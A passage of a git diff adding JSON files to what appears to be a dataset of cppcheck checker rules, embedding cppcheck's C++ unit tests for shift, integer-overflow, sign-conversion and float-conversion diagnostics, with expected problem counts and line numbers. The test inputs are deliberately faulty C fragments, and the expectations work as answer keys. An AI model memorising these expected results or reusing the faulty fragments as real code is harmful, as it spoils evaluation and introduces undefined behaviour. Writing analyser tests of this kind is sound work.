dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n // signed types getting promoted to int sizeof(int) = 4 bytes\n // and signed types having already a size of 4 bytes\n {\n const std::string types[] = {\"signed char\", \"signed short\", /*[signed]*/ \"short\", \"wchar_t\", /*[signed]*/ \"int\", \"signed int\", /*[signed]*/ \"long\", \"signed long\"};\n for (const std::string& type : types) {\n // c++11\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 32-bit value by 31 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 30; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 32-bit value by 31 bits is implementation-defined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n }\n }\n // 64 bit width types\n {\n // unsigned long long\n check(\"unsigned long long foo(unsigned long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(int x) { return (x = (unsigned long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(unsigned long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // [signed] long long\n check(\"long long foo(long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(int x) { return (x = (long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // signed long long\n check(\"signed long long foo(signed long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(\"signed long long foo(signed long long x) { return x << 64; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 64-bit value by 63 bits is implementation-defined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() { int x; x = 1 >> 64; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" QList someList;\\n\"\n \" someList << 300;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6793\n check(\"template int foo(unsigned int x) { return x << I; }\\n\"\n \"const unsigned int f = foo<31>(0);\\n\"\n \"const unsigned int g = foo<100>(0);\\n\"\n \"template int hoo(unsigned int x) { return x << 32; }\\n\"\n \"const unsigned int h = hoo<100>(0);\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:1]: (error) Shifting 32-bit value by 100 bits is undefined behaviour\\n\", errout_str());\n\n // #7266: C++, shift in macro\n check(\"void f(unsigned int x) {\\n\"\n \" UINFO(x << 1234);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8640\n check(\"int f (void)\\n\"\n \"{\\n\"\n \" constexpr const int a = 1;\\n\"\n \" constexpr const int shift[1] = {32};\\n\"\n \" constexpr const int ret = a << shift[0];\\n\" // shift too many bits\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:5]: (error) Signed integer overflow for expression 'a< 32)\\n\"\n \" return 0;\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:6]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:7]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32 || k == 31)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static long long f(int x, long long y) {\\n\"\n \" if (x >= 64)\\n\"\n \" return 0;\\n\"\n \" return -(y << (x-1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" std::ofstream outfile;\\n\"\n \" outfile << vec_points[0](0) << static_cast(d) << ' ';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned b, int len, unsigned char rem) {\\n\" // #10773\n \" int bits = 0;\\n\"\n \" while (len > 8) {\\n\"\n \" b = b >> rem;\\n\"\n \" bits += 8 - rem;\\n\"\n \" if (bits == 512)\\n\"\n \" len -= 8;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIntegerOverflow() {\n const Settings settings = settingsBuilder().severity(Severity::warning).platform(Platform::Type::Unix32).build();\n\n check(\"x = (int)0x10000 * (int)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:18]: (error) Signed integer overflow for expression '(int)0x10000*(int)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"x = (long)0x10000 * (long)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:19]: (error) Signed integer overflow for expression '(long)0x10000*(long)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax + 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Signed integer overflow for expression 'intmax+1'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax - 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return x * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Either the condition 'x==123456' is redundant or there is signed integer overflow for expression 'x*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return -123456 * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:19]: (warning) Either the condition 'x==123456' is redundant or there is signed integer underflow for expression '-123456*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return 123456U * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12117\n \" return (i == 31) ? 1 << i : 0;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:2:26]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 2. [shiftTooManyBitsSigned]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #13092\n \" int n = 0;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" n = n * 47163 - 57412;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Signed integer underflow for expression 'n*47163'. [integerOverflow]\\n\"\n \"[test.cpp:4:23]: (error) Signed integer underflow for expression 'n*47163-57412'. [integerOverflow]\\n\",\n errout_str());\n }\n\n void signConversion() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix64).build();\n check(\"x = -4 * (unsigned)y;\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"x = (unsigned)y * -4;\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"unsigned int dostuff(int x) {\\n\" // x is signed\n \" if (x==0) {}\\n\"\n \" return (x-1)*sizeof(int);\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:12]: (warning) Expression 'x-1' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversionCond]\\n\", errout_str());\n\n check(\"unsigned int f1(signed int x, unsigned int y) {\" // x is signed\n \" return x * y;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4,4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:57]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\"\n \" return x * 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:34]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\" // #6168: FP for inner calculation\n \" return 5U * (1234 - x);\\n\" // <- signed subtraction, x is not sign converted\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Don't warn for + and -\n check(\"void f1(int x) {\"\n \" a = x + 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo(size_t x) {\\n\"\n \" return -2 * x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Expression '-2' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #12110 FP signConversion with integer overflow\n \" if (LLONG_MIN / (-1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastAssign() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" const long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long f(int x, int y) {\\n\"\n \" long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n\n check(\"long f() {\\n\"\n \" const long long ret = 256 * (1 << 10);\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // typedef\n check(\"long f(int x, int y) {\\n\"\n \" const size_t ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // astIsIntResult\n check(\"long f(int x, int y) {\\n\"\n \" const long ret = (long)x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"double g(float f) {\\n\"\n \" return f * f;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) float result is returned as double value. If the return value is double to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\",\n errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\" // #12393\n \"struct S {\\n\"\n \" S& operator=(const S&) { return *this; }\\n\"\n \" struct U {\\n\"\n \" S* p;\\n\"\n \" };\\n\"\n \" U u;\\n\"\n \"};\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(long& r, long i) {\\n\"\n \" r = 1 << i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastReturn() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n const char code2[] = \"long long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code2, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code2, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n\n // typedef\n check(\"size_t f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n }\n\n // This function ensure that test works with different compilers. Floats can\n // be stringified differently.\n static std::string removeFloat(const std::string& msg) {\n const std::string::size_type pos1 = msg.find(\"float (\");\n const std::string::size_type pos2 = msg.find(\") to integer conversion\");\n if (pos1 == std::string::npos || pos2 == std::string::npos || pos1 > pos2)\n return msg;\n return msg.substr(0,pos1+7) + msg.substr(pos2);\n }\n\n void checkFloatToIntegerOverflow() {\n check(\"x = (int)1E100;\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)-1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (short)1E6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)256.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)255.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" char c = 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"char f(void) {\\n\"\n \" return 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n }\n\n void integerOverflow() { // #11794\n // std.cfg for int32_t\n // Platform::Unix32 for INT_MIN=-2147483648 and INT32_MAX=2147483647\n const Settings s = settingsBuilder().library(\"std.cfg\").cpp(Standards::CPP11).platform(Platform::Unix32).build();\n\n checkP(\"int fun(int x)\\n\"\n \"{\\n\"\n \" if(x < 0) x = -x;\\n\"\n \" return x >= 0;\\n\"\n \"}\\n\"\n \"int f()\\n\"\n \"{\\n\"\n \" fun(INT_MIN);\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Signed integer overflow for expression '-x'. [integerOverflow]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #8399\n \" int32_t i = INT32_MAX;\\n\"\n \" i << 1;\\n\"\n \" i << 2;\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Signed integer overflow for expression 'i<<2'. [integerOverflow]\\n\", errout_str());\n }\n\n void shiftTooManyBits() { // #11496\n check(\"template struct B {\\n\"\n \" unsigned long long f(unsigned int n) const {\\n\"\n \" if (width == 1)\\n\"\n \" return 1ULL << width;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"static B<64> b;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestType)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkIntegerOverflow.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkIntegerOverflow.json new file mode 100644 index 0000000..1c3fb57 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkIntegerOverflow.json @@ -0,0 +1,23 @@ +{ + "name": "checkIntegerOverflow", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 40, + "branches": 14, + "apis": 23, + "test": [ + { + "description": null, + "expected-problems": 2, + "expected-linenumbers": [ + 275, + 580 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checktype.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestType : public TestFixture {\npublic:\n TestType() : TestFixture(\"TestType\") {}\n\nprivate:\n\n\n void run() override {\n TEST_CASE(checkTooBigShift_Unix32);\n mNewTemplate = true;\n TEST_CASE(checkIntegerOverflow);\n TEST_CASE(signConversion);\n TEST_CASE(longCastAssign);\n TEST_CASE(longCastReturn);\n TEST_CASE(checkFloatToIntegerOverflow);\n TEST_CASE(integerOverflow); // #11794\n TEST_CASE(shiftTooManyBits); // #11496\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* settings = nullptr;\n Standards::cppstd_t standard = Standards::cppstd_t::CPP11;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code, const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n const Settings* settings = nullptr;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).build();\n\n SimpleTokenizer2 tokenizer(settings1, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void checkTooBigShift_Unix32() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix32).build();\n\n // unsigned types getting promoted to int sizeof(int) = 4 bytes\n // and unsigned types having already a size of 4 bytes\n {\n const std::string types[] = {\"unsigned char\", /*[unsigned]*/ \"char\", \"bool\", \"unsigned short\", \"unsigned int\", \"unsigned long\"};\n for (const std::string& type : types) {\n check(type + \" f(\" + type +\" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n // signed types getting promoted to int sizeof(int) = 4 bytes\n // and signed types having already a size of 4 bytes\n {\n const std::string types[] = {\"signed char\", \"signed short\", /*[signed]*/ \"short\", \"wchar_t\", /*[signed]*/ \"int\", \"signed int\", /*[signed]*/ \"long\", \"signed long\"};\n for (const std::string& type : types) {\n // c++11\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 32-bit value by 31 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 30; }\", dinit(CheckOptions, 